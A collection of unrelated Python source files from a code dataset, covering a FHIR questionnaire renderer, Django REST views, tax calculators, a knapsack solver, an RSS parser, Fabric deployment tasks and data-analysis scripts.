= []\n for q_item in q_items:\n # print(q_item.linkId)\n if header[q_item.type] == \"Question\":\n # print(q_item.linkId)\n q_items_list.append(q_item)\n try:\n get_q_items(q_item.item, q_items_list)\n except TypeError:\n pass\n return(q_items_list)\n\n\ndef getextension(url, valuetype, value): # fhirextension\n ext = Ext.Extension({'url': url, valuetype: value})\n return(ext) # note this returning as a list!! TODO fix this\n\n\ndef get_next_q_item(q_url, q_items, check_list): # assuming no nesting to make sure is unique question\n cq_item = random.choice(get_q_items(q_items))\n logging.info('cq_item = {}'.format(cq_item))\n if cq_item.linkId not in check_list:\n cq_item.definition = '{}-{}'.format(q_url, cq_item.linkId)\n return(cq_item)\n else: # try again\n return get_next_q_item(q_url, q_items, check_list)\n\n\ndef get_next_q(q, aqr, score=0): # assuming no nesting\n cq = aqr.contained[0]\n if cq.item is None: # create first response\n cq.item = [] # use first item\n get_hidden_score(cq.item) # add score as item 0\n # add score as item 0\n get_hidden_stddev(cq.item) # add stddev as item 1\n q_item = get_q_items(q.item)[0]\n q_item.definition = '{}-{}'.format(q.url, q_item.linkId)\n # logging.info(q_item.prefix)\n cq.item.append(q_item) # use first question\n get_itemorder(cq.item[2],3)\n cq.copyright = q.copyright\n dt = '{}Z'.format(datetime.utcnow().isoformat())\n cq.date = FD.FHIRDate(dt)\n cq.id = 'contained-adaptive-{}'.format(q.id)\n cq.extension = q.extension\n #cq.title = 'Contained Adaptive {}'.format(q.title)\n #cq.url = q.url\n cq = aqr.contained[0]\n aqr.text.div = intro.format(t=cq.title, c=cq.copyright, q=cq.url, d=cq.date.as_json()) # render intro\n elif len(cq.item) < 5: # check number of q is < 5 add a new q\n logging.info('cq.item = {}'.format(cq.item))\n check_list =[x.linkId for x in cq.item]\n logging.info('check_list = {}'.format(check_list))\n next_cq_item = get_next_q_item(q.url, q.item, check_list)\n logging.info('next_cq_item = {}'.format(next_cq_item))\n get_itemorder(next_cq_item,len(cq.item)+1)\n cq.item.append(next_cq_item)\n\n else:\n # done change the status of the QR to complete and add score as a hidden # QUESTION:\n aqr.status = 'completed'\n\n\n return(aqr)\n\n\ndef init_aqr(q):\n aqr = QR.QuestionnaireResponse(f.aqr_templ(q.url), strict=False) # resets aqr and contained q\n aqr.questionnaire = Ref.FHIRReference({'reference': '#contained-adaptive-{}'.format(q.id)}) # update the questionnaire\n aqr.id = q.url.rsplit('/')[-1].replace('questionnaire', 'adaptive-questionnaireresponse') # update the QR id\n dt = '{}Z'.format(datetime.utcnow().isoformat()) # start time...\n aqr.authored = FD.FHIRDate(dt) # update datetime\n # application.logger.info(json.dumps(qr.as_json(), indent=4, sort_keys=True))\n # ---create narrative only answered and static questions ---\n logging.info(aqr)\n # get_next_q(q, aqr)\n return(aqr)\n\ndef get_new_question(aqr): # assuming a flat list\n cq = aqr.contained[0]\n return(cq.item[-1])\n","repo_name":"argonautproject/questionnaire","sub_path":"py.Q/Q_renderer/aq_gets.py","file_name":"aq_gets.py","file_ext":"py","file_size_in_byte":8559,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"40131454803","text":"import wx\nimport wx.wizard\n\nfrom juiz.gui.widget.AutoWrapStaticText import AutoWrapStaticText\nfrom .page.BaseWizardPage import BaseWizardPage\n\nclass BuildpackAddWizard(wx.wizard.Wizard):\n\tdef __init__(self, parent=None):\n\t\tsuper(BuildpackAddWizard, self).__init__(parent, wx.ID_ANY, _('Add buildpack wizard'))\n\t\tself.SetPageSize((400, 300))\n\n\tdef run(self):\n\t\tpage1 = BuildpackAddPage(self)\n\t\tif self.RunWizard(page1):\n\t\t\treturn (page1.name.GetValue(), page1.url.GetValue())\n\t\treturn False\n\nclass BuildpackAddPage(BaseWizardPage):\n\tdef __init__(self, parent):\n\t\tsuper(BuildpackAddPage, self).__init__(parent)\n\t\tself.create_ui()\n\n\t\tparent.Bind(wx.wizard.EVT_WIZARD_PAGE_CHANGED, self.on_show)\n\t\tself.Bind(wx.EVT_TEXT, self.on_input_changed)\n\n\tdef create_ui(self):\n\t\tself.outer_sizer = wx.BoxSizer(wx.VERTICAL)\n\t\tself.SetSizer(self.outer_sizer)\n\n\t\ttext = AutoWrapStaticText(self, _('Buildpack is a set of scripts to detect, install and deploy web applications. Any applications installed by Juiz must be supported by a buildpack. Juiz\\'s buildpack is partially compatible with Heroku\\'s but might require some modification to supports CentOS 7.\\n\\nThe buildpack URL must points to a Git repository which is clonable both locally and on the deployed machine without authentication.'))\n\t\tself.outer_sizer.Add(text, 0, wx.EXPAND)\n\t\tself.outer_sizer.AddSpacer(10)\n\n\t\tlink = wx.HyperlinkCtrl(self, wx.ID_ANY, _('Deis buildpack list'), _('http://docs.deis.io/en/latest/using_deis/using-buildpacks/#included-buildpacks'))\n\t\tself.outer_sizer.Add(link, 0)\n\t\tself.outer_sizer.AddSpacer(10)\n\n\n\t\tself.sizer = wx.FlexGridSizer(0, 2, 5, 15)\n\t\tself.sizer.AddGrowableCol(1)\n\n\t\ttext = wx.StaticText(self, -1, _('Name'))\n\t\tself.sizer.Add(text, 1, wx.EXPAND)\n\n\t\tself.name = wx.TextCtrl(self, wx.NewId())\n\t\tself.name.SetFocus()\n\t\tself.sizer.Add(self.name, 1, wx.EXPAND)\n\n\t\ttext = wx.StaticText(self, -1, _('URL'))\n\t\tself.sizer.Add(text, 1, wx.EXPAND)\n\n\t\tself.url = wx.TextCtrl(self, wx.NewId())\n\t\tself.sizer.Add(self.url, 1, wx.EXPAND)\n\n\t\tself.outer_sizer.Add(self.sizer, 0, wx.EXPAND)\n\n\tdef on_show(self, event):\n\t\tself.check_allow_forward()\n\n\tdef on_input_changed(self, event):\n\t\tself.check_allow_forward()\t\n\n\tdef check_allow_forward(self):\n\t\tcan_forward = self.name.GetValue() and self.url.GetValue()\n\t\tself.enable_forward(can_forward)\n","repo_name":"whs/juiz","sub_path":"juiz/gui/wizard/BuildpackAddWizard.py","file_name":"BuildpackAddWizard.py","file_ext":"py","file_size_in_byte":2317,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"41191801694","text":"\"\"\"\nView of Bills\n\"\"\"\n\n# Libraries\nimport csv\nfrom rest_framework.views import APIView\nfrom django.http import HttpResponse\nfrom rest_framework.response import Response\nfrom rest_framework import status\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.parsers import MultiPartParser, FormParser\nfrom django.conf import settings\n\n# Models\nfrom . import models\n\n# Serializers\nfrom . import serializers\n\n# Utils\nfrom .utils import create, get_data_value_bill_user\n\n# Extended Libraries\nfrom . import lib\n\n# Tasks\nfrom . import tasks\n\n\nclass ProductListView(APIView):\n \"\"\"Views of Product\"\"\"\n permission_classes = (IsAuthenticated, )\n model = models.Product\n serializer = serializers.ProductSerializer\n\n def get(self, request):\n \"\"\"Get All Data Client\"\"\"\n return Response(\n lib.get_all(self.model, self.serializer, request.GET),\n status=status.HTTP_200_OK\n )\n\n def post(self, request):\n \"\"\"Save Product\"\"\"\n request_data = request.data\n new_product = self.serializer(data=request_data)\n saved_product = create(self.model, new_product)\n serializer = self.serializer(saved_product)\n print(f'saved_product - {saved_product}')\n if 'errors' in saved_product:\n return Response(\n new_product.errors,\n status=status.HTTP_400_BAD_REQUEST\n )\n\n return Response({\n 'message': 'Done Correctly',\n 'data': serializer.data,\n }, status=status.HTTP_201_CREATED)\n\n\nclass ProductDetailView(APIView):\n \"\"\"Product Detail View Data Api\"\"\"\n permission_classes = (IsAuthenticated, )\n model = models.Product\n serializer = serializers.ProductSerializer\n\n def get(self, request, pk):\n \"\"\"Get Detail of User\"\"\"\n product = lib.get_object(self.model, pk)\n serializer = self.serializer(product)\n return Response({\n 'message': 'Done Correctly',\n 'data': serializer.data\n })\n\n def put(self, request, pk):\n \"\"\"Update all Data with pk\"\"\"\n response_update = lib.update_entity(\n self.model,\n self.serializer,\n request.data,\n pk\n )\n return response_update\n\n def patch(self, request, pk):\n \"\"\"Update a or few Data with pk\"\"\"\n response_update = lib.update_entity(\n self.model,\n self.serializer,\n request.data,\n pk\n )\n return response_update\n\n def delete(self, request, pk):\n \"\"\"Delete a data with pk\"\"\"\n return lib.delete_entity(self.model, self.serializer, pk)\n\n\n\nclass ClientListView(APIView):\n \"\"\"Views of Client\"\"\"\n model = models.Client\n serializer = serializers.ClientSerializer\n\n def get(self, request):\n \"\"\"Get All Data Client\"\"\"\n return Response(\n lib.get_all(self.model, self.serializer, request.GET),\n status=status.HTTP_200_OK\n )\n\n def post(self, request):\n \"\"\"Save Client\"\"\"\n request_data = request.data\n new_user = self.serializer(data=request_data)\n if new_user.is_valid():\n request_data['id'] = new_user.create(request_data)\n return Response({\n 'message': 'Done Correctly',\n 'data': request_data,\n }, status=status.HTTP_201_CREATED)\n return Response(new_user.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\nclass ClientDetailView(APIView):\n \"\"\"Product Detail View Data Api\"\"\"\n permission_classes = (IsAuthenticated, )\n model = models.Client\n serializer = serializers.ClientSerializer\n\n def get(self, request, pk):\n \"\"\"Get Detail of User\"\"\"\n client = lib.get_object(self.model, pk)\n serializer = self.serializer(client)\n return Response({\n 'message': 'Done Correctly',\n 'data': serializer.data\n })\n\n def put(self, request, pk):\n \"\"\"Update all Data with pk\"\"\"\n response_update = lib.update_entity(\n self.model,\n self.serializer,\n request.data,\n pk\n )\n return response_update\n\n def patch(self, request, pk):\n \"\"\"Update a or few Data with pk\"\"\"\n response_update = lib.update_entity(\n self.model,\n self.serializer,\n request.data,\n pk\n )\n return response_update\n\n def delete(self, request, pk):\n \"\"\"Delete a data with pk\"\"\"\n return lib.delete_entity(self.model, self.serializer, pk)\n\n\n\nclass BillListView(APIView):\n \"\"\"Views of Bill\"\"\"\n permission_classes = (IsAuthenticated, )\n model = models.Bill\n serializer = serializers.BillSerializer\n\n def get(self, request):\n \"\"\"Get All Data Client\"\"\"\n return Response(\n lib.get_all(self.model, self.serializer, request.GET),\n status=status.HTTP_200_OK\n )\n\n def post(self, request):\n \"\"\"Save Bill\"\"\"\n request_data = request.data\n new_bill = self.serializer(data=request_data)\n saved_bill = create(self.model, new_bill)\n if 'errors' in saved_bill:\n return Response(saved_bill)\n return Response({\n 'message': 'Done Correctly',\n 'data': saved_bill,\n }, status=status.HTTP_201_CREATED)\n\n\nclass BillDetailView(APIView):\n \"\"\"Bill Detail View Data Api\"\"\"\n permission_classes = (IsAuthenticated, )\n model = models.Bill\n serializer = serializers.BillSerializer\n\n def get(self, request, pk):\n \"\"\"Get Detail of User\"\"\"\n bill = lib.get_object(self.model, pk)\n serializer = self.serializer(bill)\n return Response({\n 'message': 'Done Correctly',\n 'data': serializer.data\n })\n\n def put(self, request, pk):\n \"\"\"Update all Data with pk\"\"\"\n response_update = lib.update_entity(\n self.model,\n self.serializer,\n request.data,\n pk\n )\n return response_update\n\n def patch(self, request, pk):\n \"\"\"Update a or few Data with pk\"\"\"\n response_update = lib.update_entity(\n self.model,\n self.serializer,\n request.data,\n pk\n )\n return response_update\n\n def delete(self, request, pk):\n \"\"\"Delete a data with pk\"\"\"\n return lib.delete_entity(self.model, self.serializer, pk)\n\n\nclass FileCSVHandlerGetView(APIView):\n \"\"\"File Csv Handler Configuration\"\"\"\n permission_classes = (IsAuthenticated, )\n parser_classes = (MultiPartParser, FormParser)\n\n def get(self, request, pk: any):\n \"\"\"Get File Sync CSV\"\"\"\n response = HttpResponse(content_type='text/csv')\n response['Content-Disposition'] = 'attachment; filename=\"export.csv\"'\n column_format, data = get_data_value_bill_user(pk)\n print('column format - ', column_format)\n print('data - ', data)\n writer = csv.DictWriter(response, fieldnames=column_format)\n writer.writeheader()\n for register in data:\n writer.writerow(register)\n return response\n\n\nclass FileCSVHandlerPostView(APIView):\n \"\"\"Get Handler Data\"\"\"\n\n def post(self, request, *args, **kwargs):\n \"\"\"Post COnfiguration for File Serializer\"\"\"\n file_serializer = serializers.FileSerializer(data=request.data)\n if file_serializer.is_valid():\n file_serializer.save()\n # Creating Task\n # tasks.create_massive.delay(file_serializer.data.get('file_data'))\n serializer = serializers.ClientSerializer\n with open(f\"{settings.BASE_DIR}{file_serializer.data.get('file_data')}\", 'r') as f:\n reader = csv.reader(f)\n is_first = True\n columns = []\n for row in reader:\n if is_first:\n columns = row\n is_first = False\n else:\n data = dict(zip(columns, row))\n tasks.create_one_data_later.delay(data)\n return Response(\n file_serializer.data,\n status=status.HTTP_201_CREATED\n )\n return Response(\n file_serializer.errors,\n status=status.HTTP_400_BAD_REQUEST\n )\n","repo_name":"vmgabriel/django-api-test-quick","sub_path":"src/bills/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8404,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"71772578065","text":"def calculate_tax(amount, age, tax=17.0):\n \"\"\"The function returns the amount of income tax.\"\"\"\n\n tax_rate = tax / 100.0\n\n if age <= 18:\n return int(min(amount * tax_rate, 6000))\n elif age <= 65:\n return int(amount * tax_rate)\n else:\n return int(min(amount * tax_rate, 9000))\n\ndef income_tax(income, first_thresh=17.0, second_thresh=32.0):\n first_rate = first_thresh / 100.0\n second_rate = second_thresh / 100.0\n threshold = 85528\n if income < threshold:\n return income * first_rate\n else:\n return threshold * first_rate + (income - threshold) * second_rate\n\n\nclass SimpleTaxCalculator:\n\n def income_tax(self, income, first_thresh=17.0, second_thresh=32.0):\n first_rate = first_thresh / 100.0\n second_rate = second_thresh / 100.0\n threshold = 85528\n if income < threshold:\n return income * first_rate\n else:\n return threshold * first_rate + (income - threshold) * second_rate\n\n def vat_tax(self, net_price, tax=23.0):\n tax_rate = tax / 100.0\n return net_price * tax_rate\n\n def capital_gains_tax(self, profit, tax=19.0):\n tax_rate = tax / 100.0\n if profit > 0:\n return profit * tax_rate\n return 0\n\ndef calc_tax(amount, tax_rate, age):\n \"\"\"The function returns the amount of income tax.\"\"\"\n\n if not isinstance(amount, (int, float)):\n raise TypeError('The amount value must be int or float type.')\n if not amount >= 0:\n raise ValueError('The amount value must be positive.')\n\n if not isinstance(tax_rate, float):\n raise TypeError('The tax_rate must be float.')\n if not 0 < tax_rate < 1:\n raise ValueError('The tax_rate must be between 0 and 1 (exclusive).')\n\n if not isinstance(age, int):\n raise TypeError('The age value must be int.')\n if not age > 0:\n raise ValueError('The age value must be positive.')\n\n if age <= 18:\n return int(min(amount * tax_rate, 5000))\n elif age <= 65:\n return int(amount * tax_rate)\n else:\n return int(min(amount * tax_rate, 8000))","repo_name":"Kacyk27/python-unittest-learning","sub_path":"100+ Exercises course/tax.py","file_name":"tax.py","file_ext":"py","file_size_in_byte":2127,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"21041730003","text":"import logging\n\nLOG_FORMAT = '%(asctime)s:%(levelname)s;%(message)s'\n\n\n# create logger and its file handler\ndef new_logger(log_name, log_path):\n # create logger\n logger = logging.getLogger(log_name)\n logger.setLevel(logging.DEBUG)\n\n # config for log system\n logging.basicConfig(format=LOG_FORMAT, level=logging.DEBUG)\n\n # create file handler\n handler = logging.FileHandler(log_path)\n handler.setLevel(logging.DEBUG)\n handler.setFormatter(logging.Formatter(LOG_FORMAT))\n\n logging.getLogger().addHandler(handler)\n return logger\n","repo_name":"silverguo/koroker","sub_path":"koroker/utils/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"13381075225","text":"#!/usr/bin/env python\n\ndef visualize_history(history):\n\t\n\timport matplotlib\n\tmatplotlib.use('TkAgg')\n\timport matplotlib.pyplot as plt\n\timport csv\n\n\n\tplt.plot(history.history['acc'])\n\tplt.plot(history.history['val_acc'])\n\tplt.title('Model accuracy')\n\tplt.ylabel('Accuracy')\n\tplt.xlabel('Epoch')\n\tplt.legend(['Train', 'Val'], loc='upper left')\n\tplt.show()\n\n\t# Plot training & validation loss values\n\tplt.plot(history.history['loss'])\n\tplt.plot(history.history['val_loss'])\n\tplt.title('Model loss')\n\tplt.ylabel('Loss')\n\tplt.xlabel('Epoch')\n\tplt.legend(['Train', 'Test'], loc='upper left')\n\tplt.show()\n\ndef save_history(history):\n\n\timport matplotlib\n\tmatplotlib.use('TkAgg')\n\timport matplotlib.pyplot as plt\n\timport csv\n\n\n\twith open('tmp/history.csv', 'w') as f: # Just use 'w' mode in 3.x\n\t\tw = csv.writer(f)\n\t\tw.writerow(history.history.keys())\n\t\tw.writerows(zip(*history.history.values()))\n\n","repo_name":"adam-norris/DeepLearning_Project","sub_path":"Code/trainer/history.py","file_name":"history.py","file_ext":"py","file_size_in_byte":891,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"31443128717","text":"count = 0\n\n\ndef knapSack(capacity, w, v, n) -> int:\n def ks(i, cap) -> int:\n global count\n count += 1\n if i < 0 or cap <= 0:\n return 0\n elif w[i] > cap:\n return ks(i - 1, cap)\n else:\n opt1 = ks(i - 1, cap)\n opt2 = v[i] + ks(i - 1, cap - w[i])\n return max(opt1, opt2)\n\n return ks(n, capacity)\n\n\nif __name__ == '__main__':\n count = 0\n cp = 8\n wt = [5, 4, 6, 3, 2, 1, 7]\n vl = [70, 45, 80, 35, 10, 5, 90]\n\n sack = knapSack(cp, wt, vl, len(wt) - 1)\n print(sack)\n print(count)\n","repo_name":"ruan65/python_algorithms_and_problem_solving","sub_path":"knapsack/classic_0_1.py","file_name":"classic_0_1.py","file_ext":"py","file_size_in_byte":589,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"34544819693","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n#\n# Simple XML parser for the RSS channel from BarraPunto\n# Jesus M. Gonzalez-Barahona\n# jgb @ gsyc.es\n# TSAI and SAT subjects (Universidad Rey Juan Carlos)\n# September 2009\n#\n# Just prints the news (and urls) in BarraPunto.com,\n# after reading the corresponding RSS channel.\n\nfrom xml.sax.handler import ContentHandler\nfrom xml.sax import make_parser\nimport sys\n\nclass myContentHandler(ContentHandler):\n\n def __init__ (self):\n self.inItem = False\n self.inContent = False\n self.theContent = \"\"\n\n def startElement (self, name, attrs):\n if name == 'item':\n self.inItem = True\n elif self.inItem:\n if name == 'title':\n self.inContent = True\n elif name == 'link':\n self.inContent = True\n \n def endElement (self, name):\n if name == 'item':\n self.inItem = False\n elif self.inItem:\n if name == 'title':\n line = \"Title: \" + self.theContent + \".\"\n # To avoid Unicode trouble\n print(line)\n self.inContent = False\n self.theContent = \"\"\n elif name == 'link':\n print(\" Link: \" + self.theContent + \".\")\n self.inContent = False\n self.theContent = \"\"\n\n def characters (self, chars):\n if self.inContent:\n self.theContent = self.theContent + chars\n \n# --- Main prog\n\nif len(sys.argv)<2:\n print(\"Usage: python xml-parser-barrapunto.py \")\n print()\n print(\" : file name of the document to parse\")\n sys.exit(1)\n \n# Load parser and driver\n\ntheParser = make_parser()\ntheHandler = myContentHandler()\ntheParser.setContentHandler(theHandler)\n\n# Ready, set, go!\n\nxmlFile = open(sys.argv[1],\"r\", encoding=\"utf-8\")\ntheParser.parse(xmlFile)\n\nprint(\"Parse complete\")\n","repo_name":"CursosWeb/Code","sub_path":"XML/xml-parser-barrapunto.py","file_name":"xml-parser-barrapunto.py","file_ext":"py","file_size_in_byte":1931,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"42584296269","text":"import numpy as np\nimport torch\nimport torch.nn as nn\nfrom tqdm import tqdm\nimport os\nimport random\nimport pickle\nfrom tqdm import trange\nimport pandas as pd\nfrom scipy.sparse import coo_matrix,csr_matrix\n\ndef learning_rate_decay(optimizer):\n for param_group in optimizer.param_groups:\n lr = param_group['lr']*0.98\n if lr > 0.0005:\n param_group['lr'] = lr\n return lr\n\n\ndef metrics(uids, predictions, topk, test_labels):\n user_num = 0\n all_recall = 0\n all_ndcg = 0\n for i in range(len(uids)):\n uid = uids[i] #user id\n prediction = list(predictions[i][:topk]) # top-K item id\n label = test_labels[uid]\n if len(label)>0:\n hit = 0\n idcg = np.sum([np.reciprocal(np.log2(loc + 2)) for loc in range(min(topk, len(label)))])\n dcg = 0\n for item in label:\n if item in prediction:\n hit+=1\n loc = prediction.index(item)\n dcg = dcg + np.reciprocal(np.log2(loc+2))\n all_recall = all_recall + hit/len(label)\n all_ndcg = all_ndcg + dcg/idcg\n user_num+=1\n if user_num==0: return 0,0\n return all_recall/user_num, all_ndcg/user_num\n\ndef scipy_sparse_mat_to_torch_sparse_tensor(sparse_mx):\n sparse_mx = sparse_mx.tocoo().astype(np.float32)\n indices = torch.from_numpy(\n np.vstack((sparse_mx.row, sparse_mx.col)).astype(np.int64))\n values = torch.from_numpy(sparse_mx.data)\n shape = torch.Size(sparse_mx.shape)\n return torch.sparse.FloatTensor(indices, values, shape)\n\n\ndef edge_drop(mat, dropout):\n indices = mat.indices()\n values = nn.functional.dropout(mat.values(), p=dropout)\n size = mat.size()\n return torch.sparse.FloatTensor(indices, values, size)\n\n\ndef spmm(sp, emb, device):\n sp = sp.coalesce()\n cols = sp.indices()[1]\n rows = sp.indices()[0]\n col_segs = emb[cols] * torch.unsqueeze(sp.values(),dim=1)\n result = torch.zeros((sp.shape[0],emb.shape[1])).cuda(torch.device(device)) if device!='cpu' else torch.zeros((sp.shape[0], emb.shape[1]))\n result.index_add_(0, rows, col_segs)\n return result\n\n\ndef set_seed(seed=1024):\n torch.manual_seed(seed)\n torch.cuda.manual_seed(seed)\n torch.cuda.manual_seed_all(seed)\n np.random.seed(seed)\n random.seed(seed)\n os.environ['PYTHONHASHSEED'] = str(seed)\n\ndef pkl2txt(path='',seg='\\t'):\n print('convert'+path)\n f1 = open(path + 'trnMat.pkl', 'rb')\n train = pickle.load(f1) # (u1,i5)->1.0 (u1,i8)->1.0\n a = train.row\n b = train.col\n train=[]\n fp1=open(path+'train.txt','w',encoding='utf-8')\n for i in tqdm(range(len(a))):\n train.append([a[i],b[i]])\n train.sort(key=lambda x: x[1])\n train.sort(key=lambda x: x[0])\n for i in tqdm(range(len(train))):\n fp1.write(str(train[i][0])+seg+str(train[i][1]))\n fp1.write('\\n')\n f1.close()\n fp1.close()\n f2 = open(path + 'tstMat.pkl', 'rb')\n test = pickle.load(f2) # (u1,i5)->1.0 (u1,i8)->1.0\n c = test.row\n d = test.col\n test=[]\n fp2 = open(path+'test.txt', 'w', encoding='utf-8')\n for i in tqdm(range(len(c))):\n test.append([c[i],d[i]])\n test.sort(key=lambda x: x[1])\n test.sort(key=lambda x: x[0])\n for i in tqdm(range(len(test))):\n fp2.write(str(test[i][0])+seg+str(test[i][1]))\n fp2.write('\\n')\n f2.close()\n fp2.close()\n print('ok!')\n\ndef coltxt2pkl(path,sep='\\t'):\n #train\n traindata = pd.read_table(path + 'train.txt', header=None, sep=sep)\n train_user = traindata.values[:, 0] \n train_item = traindata.values[:, 1]\n row = np.array(train_user)\n col = np.array(train_item)\n flag = np.array(np.ones(len(train_user)))\n coo = coo_matrix((flag, (row, col)))\n print(coo.shape)\n fp = open(path+'trnMat.pkl', 'wb')\n pickle.dump(coo, fp)\n print(path + 'trnMat.pkl')\n #test\n testdata = pd.read_table(path + 'test.txt', header=None, sep=sep)\n test_user = testdata.values[:, 0]\n test_item = testdata.values[:, 1]\n row1 = np.array(test_user)\n col1 = np.array(test_item)\n flag1 = np.array(np.ones(len(test_user)))\n coo1 = coo_matrix((flag1, (row1, col1)))\n print(coo1.shape)\n fp1 = open(path+'tstMat.pkl', 'wb')\n pickle.dump(coo1, fp1)\n print(path+'tstMat.pkl')\n\n\ndef convert_number(x):\n y=list(\"%.0e\"%x)\n del y[-2]\n y=\"\".join(y)\n return y\n\n\n# if __name__=='__main__':\n# # numpy==1.17.0\n# path = 'data/' + 'tmall' + '/'\n# seg=' '\n# coltxt2pkl(path,seg)\n# #pkl2txt(path,seg)\n\n","repo_name":"Ag2Cr2O7/MDGCL","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"48"} +{"seq_id":"25656094055","text":"import sys\n\nsys.setrecursionlimit(10 ** 7)\nrl = sys.stdin.readline\n\n\ndef solve():\n N = int(rl())\n APX = [list(map(int, rl().split())) for _ in range(N)]\n \n ans = 10 ** 10\n for ai, pi, xi in APX:\n if 0 < xi - ai:\n ans = min(ans, pi)\n print(ans if ans != 10 ** 10 else -1)\n\n\nif __name__ == '__main__':\n solve()\n","repo_name":"yuly3/atcoder","sub_path":"ABC/ABC193/B.py","file_name":"B.py","file_ext":"py","file_size_in_byte":348,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"13974110084","text":"# -*- coding: utf-8 -*-\n\"\"\"Manage MLS application client components.\"\"\"\n\nfrom fabric import api\nfrom mls.fabfile.utils import mls_config\nfrom propertyshelf.fabfile.common import rackspace\nfrom propertyshelf.fabfile.common import utils\nfrom propertyshelf.fabfile.common.exceptions import missing_env\nfrom time import sleep\n\n\n@api.task\ndef remove():\n \"\"\"Remove an existing MLS application client.\"\"\"\n role = api.env.get('role_worker')\n role = role or missing_env('role_worker')\n opts = dict(\n environment='production',\n role=role,\n )\n rackspace.remove(**opts)\n\n\n@api.task\n@api.roles('worker')\ndef update():\n \"\"\"Update the client packages.\"\"\"\n utils.supervisorctl(command='stop', service='application')\n utils.backup_dev_packages(config=mls_config())\n utils.run_buildout(config=mls_config())\n utils.supervisorctl(command='start', service='application')\n sleep(15)\n\n\n@api.task\n@api.roles('worker')\ndef restart():\n \"\"\"Restart the application client component.\"\"\"\n utils.supervisorctl(command='restart', service='application')\n sleep(15)\n\n\n@api.task\n@api.roles('worker')\ndef rebuild():\n \"\"\"Rebuild the application using buildout.\"\"\"\n utils.run_buildout(config=mls_config())\n utils.supervisorctl(command='restart', service='application')\n\n\n@api.task\n@api.roles('database')\ndef update_support_client():\n \"\"\"Update the maintenance client packages.\"\"\"\n utils.backup_dev_packages(config=mls_config(), folder='~/maintenance')\n utils.run_buildout(config=mls_config(), folder='~/maintenance')\n","repo_name":"propertyshelf/mls.fabfile","sub_path":"src/mls/fabfile/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":1556,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"19439033234","text":"import os\nimport json\nimport pathlib\nimport datetime\n\nall_users = pathlib.Path(pathlib.Path(__file__).parent, 'users.json')\nall_assets = pathlib.Path(pathlib.Path(__file__).parent, 'assets.json')\nall_drawings = pathlib.Path(pathlib.Path(__file__).parent, 'drawings.json')\n\nwritePath = pathlib.Path(pathlib.Path(__file__).parent, 'res.txt')\n\n\ndef load(path):\n with open(path, \"r\") as f:\n return json.load(f)\n\n\nusers_arr = load(all_users)\nusers = set()\nfor user in users_arr:\n if user['email'].endswith('beamup.ai') is False:\n users.add(user['_id']['$oid'])\n\ndrawings_arr = load(all_drawings)\ndrawings = dict()\nthree_months_ago = datetime.datetime.now() - datetime.timedelta(days=91)\ndrawings_types = dict()\n\nfor drawing in drawings_arr:\n if drawing['user']['$oid'] in users:\n nums = [int(n) for n in drawing['createdAt']\n ['$date'].split('T')[0].split('-')]\n drawing_date = datetime.datetime(nums[0], nums[1], nums[2])\n if drawing_date > three_months_ago:\n extension = drawing['originalName'].split('.')[-1]\n if extension != 'site':\n drawings[drawing['_id']['$oid']] = drawing\n drawings[drawing['_id']['$oid']]['type'] = extension\n drawings[drawing['_id']['$oid']]['assets'] = []\n if drawings_types.get(extension):\n drawings_types[extension] += 1\n else:\n drawings_types[extension] = 1\n\nassets_arr = load(all_assets)\n\nfor asset in assets_arr:\n if asset['drawing']['$oid'] in drawings:\n drawings[asset['drawing']['$oid']]['assets'].append(asset)\n\n\ndef asset_by_type(drawing, type):\n assets = drawing['assets']\n for asset in assets:\n if asset['type'] == type:\n return asset\n return None\n\n\ndef create_date(asset, field):\n nums1 = [int(n) for n in asset[field]['$date'].split('T')[0].split('-')]\n nums2 = [int(n) for n in asset[field]['$date'].replace('Z', '').split('T')\n [1].split('.')[0].split(':')]\n year = nums1[0]\n month = nums1[1]\n day = nums1[2]\n\n hour = nums2[0]\n minute = nums2[1]\n second = nums2[2]\n\n d = datetime.datetime(year, month, day, hour, minute, second)\n return d\n\n\ntimes = []\nfor drawing in drawings:\n d = drawings[drawing]\n if d['type'] == 'pdf' or d['type'] == 'dwg':\n # todo - measure pdf -> dwg\n dwg_asset = asset_by_type(d, 'dwg')\n dwg_json_asset = asset_by_type(d, 'dwg.json')\n underlay_asset = asset_by_type(d, 'underlay')\n wiring_asset = asset_by_type(d, 'wiring')\n\n if not dwg_asset or not dwg_json_asset or not underlay_asset or not wiring_asset:\n print(f\"something went wrong in drawing {drawing}\")\n continue\n\n dwg_created = create_date(dwg_asset, 'createdAt')\n dwg_json_created = create_date(dwg_json_asset, 'createdAt')\n generate_started = create_date(underlay_asset, 'createdAt')\n generate_finished = create_date(underlay_asset, 'updatedAt')\n wiring_created = create_date(wiring_asset, 'updatedAt')\n drawing_updated = create_date(d, 'updatedAt')\n\n dwg_to_json_time = (dwg_json_created - dwg_created).total_seconds()\n time_to_generate = (generate_started -\n dwg_json_created).total_seconds()\n processing_time = (generate_finished -\n generate_started).total_seconds()\n\n post_processing_time = (\n drawing_updated - generate_finished).total_seconds()\n\n drawing_minus_wiring = (\n drawing_updated - wiring_created).total_seconds()\n\n design_time = (\n drawing_updated - wiring_created).total_seconds()\n\n 